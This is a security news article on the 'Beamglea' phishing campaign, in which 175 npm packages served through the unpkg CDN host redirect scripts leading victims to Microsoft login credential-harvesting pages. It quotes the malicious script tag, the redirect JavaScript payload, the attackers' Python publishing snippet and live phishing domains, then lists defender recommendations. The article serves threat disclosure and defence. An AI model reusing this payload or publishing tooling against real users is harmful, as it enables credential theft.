Cyber Security News

175 Malicious npm Packages Targeting Tech and Energy Firms, 26,000 Downloads

Socket’s Threat Research Team has uncovered a sprawling phishing campaign—dubbed “Beamglea”—leveraging 175 malicious npm packages that have amassed over 26,000 downloads.

These packages serve solely as hosting infrastructure, redirecting victims to credential-harvesting pages.

Though randomly named packages make accidental developer installation unlikely, the download counts reflect security researchers, automated scanners, and CDN providers probing the registry post-disclosure.

Targets include more than 135 industrial, technology, and energy companies across Western Europe, the Nordics, and Asia-Pacific.

Rather than executing code at install time, each malicious package exploits npm’s public registry and unpkg.com’s CDN to host redirect scripts.

After publishing packages named with the pattern redirect-[a-z0-9]{6}, threat actors rely on unpkg.com to automatically serve assets over HTTPS.

Victims receive HTML lures themed as purchase orders or project documents—likely via phishing emails—with embedded <script> tags pointing to URLs such as:

xml<script src="https://unpkg.com/redirect-xs13nr@1.0.0/beamglea.js"></script>

When an unwitting recipient opens the HTML file, the JavaScript payload runs:

javascriptfunction processAndRedirect() {
    var email = "victim@company.com";
    var urlPath = "https://cfn.jackpotmastersdanske.com/TJImeEKD";
    var finalUrl = urlPath + "#" + email;
    window.location.href = finalUrl;
}
processAndRedirect();

By appending the victim’s email as a URL fragment, the actors ensure that standard server logs do not capture this data.

Microsoft OAuth phishing page with pre-filled victim email at cfn.jackpotmastersdanske[.]com.

The target’s email is then extracted client-side to pre-fill login forms, increasing the phishing page’s legitimacy.

Automated Phishing Infrastructure

Analysis reveals fully automated tooling written in Python and compiled with PyInstaller to streamline package generation and publication. The core logic uses a template-based approach:

pythondef generate_random_package_name(prefix="redirect-"):
    suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
    return prefix + suffix

template_js = load_template('beamglea_template.js')
final_js = template_js.replace("{{EMAIL}}", email).replace("{{URL}}", redirect_url)
with open("beamglea.js", "w", encoding="utf-8") as f:
    f.write(final_js)

The script authenticates to npm, injects victim-specific data into a JavaScript template, publishes a uniquely named package, and generates the corresponding HTML lure.

Over 630 HTML files were identified across the 175 packages, each embedding a meta tag—nb830r6x—as a campaign identifier.

Threat actor zamaniboss profile.

Threat actors registered seven phishing domains, including cfn.jackpotmastersdanske.com and musicboxcr.com, some using base64-encoded URL parameters to specify campaign variants and session identifiers.

Recommendations for Defenders

Beamglea illustrates how adversaries can weaponize legitimate infrastructure at negligible cost and with high resilience.

Defenders should treat any detection of these IOCs as an active breach. Immediate actions include forcing password resets for potentially compromised accounts and enabling multifactor authentication, especially for Office 365 accounts targeted without MFA (o365_1_nom).

Email gateways must quarantine or strip HTML attachments, given the minimal legitimate use of standalone HTML files.

Network monitoring should flag unpkg.com requests matching redirect-*/beamglea.js patterns and queries to the seven malicious domains.

Endpoint detection rules ought to alert on local HTML files loading unpkg.com scripts, while browser history analysis can reveal navigations with email fragments in URLs.

Long-term mitigations involve restricting public npm registry use for internal assets or implementing allowlists for trusted packages. Web content filters should block unknown CDN references, balancing security against developer workflows.

As this technique evolves—migrating to alternative CDNs, adding domain generation algorithms, or obfuscating payloads—organizations must remain vigilant, continuously updating detection rules and threat intelligence to counter adversaries exploiting open-source infrastructure at scale.

Follow us on Google News, LinkedIn, and X to Get Instant Updates and Set GBH as a Preferred Source in Google.

Mayura Kathir

Mayura Kathir is a cybersecurity reporter at GBHackers News, covering daily incidents including data breaches, malware attacks, cybercrime, vulnerabilities, zero-day exploits, and more.

Recent Posts

Hackers Use ConnectWise SkyKick Credentials to Access Microsoft 365, Halting Cloud Backups

Attackers abused compromised ConnectWise Cloud Backup credentials to access Microsoft 365 customer environments, prompting ConnectWise…

1 day ago

Anthropic’s Claude AI Uncovers Origins of NSA-Provided Cryptographic Keys After 25 Years

Anthropic says an internal Claude research model reconstructed how the National Security Agency generated seeds…

1 day ago

Critical WordPress Flaws Allow Attackers to Execute Remote Code Without Authentication

Two WordPress Core vulnerabilities can be chained to execute remote code without authentication, according to…

1 day ago

OpenBSD Kernel Flaw Dating Back 37 Years Enables Local Privilege Escalation to Root

A newly disclosed OpenBSD kernel exploitation chain combines a shared memory accounting flaw with a…

1 day ago

GhostAction Hackers Hide Credential-Stealing Malware in Fake Font Files Across 94 GitHub Repositories

GhostAction attackers have expanded their GitHub credential theft campaign with a second stage that disguises…

1 day ago

SideCopy Hackers Target Indian Organizations With ReverseRAT Malware to Steal Data

Indian authorities have warned that SideCopy hackers are targeting Indian organizations, including academic institutions, with…

1 day ago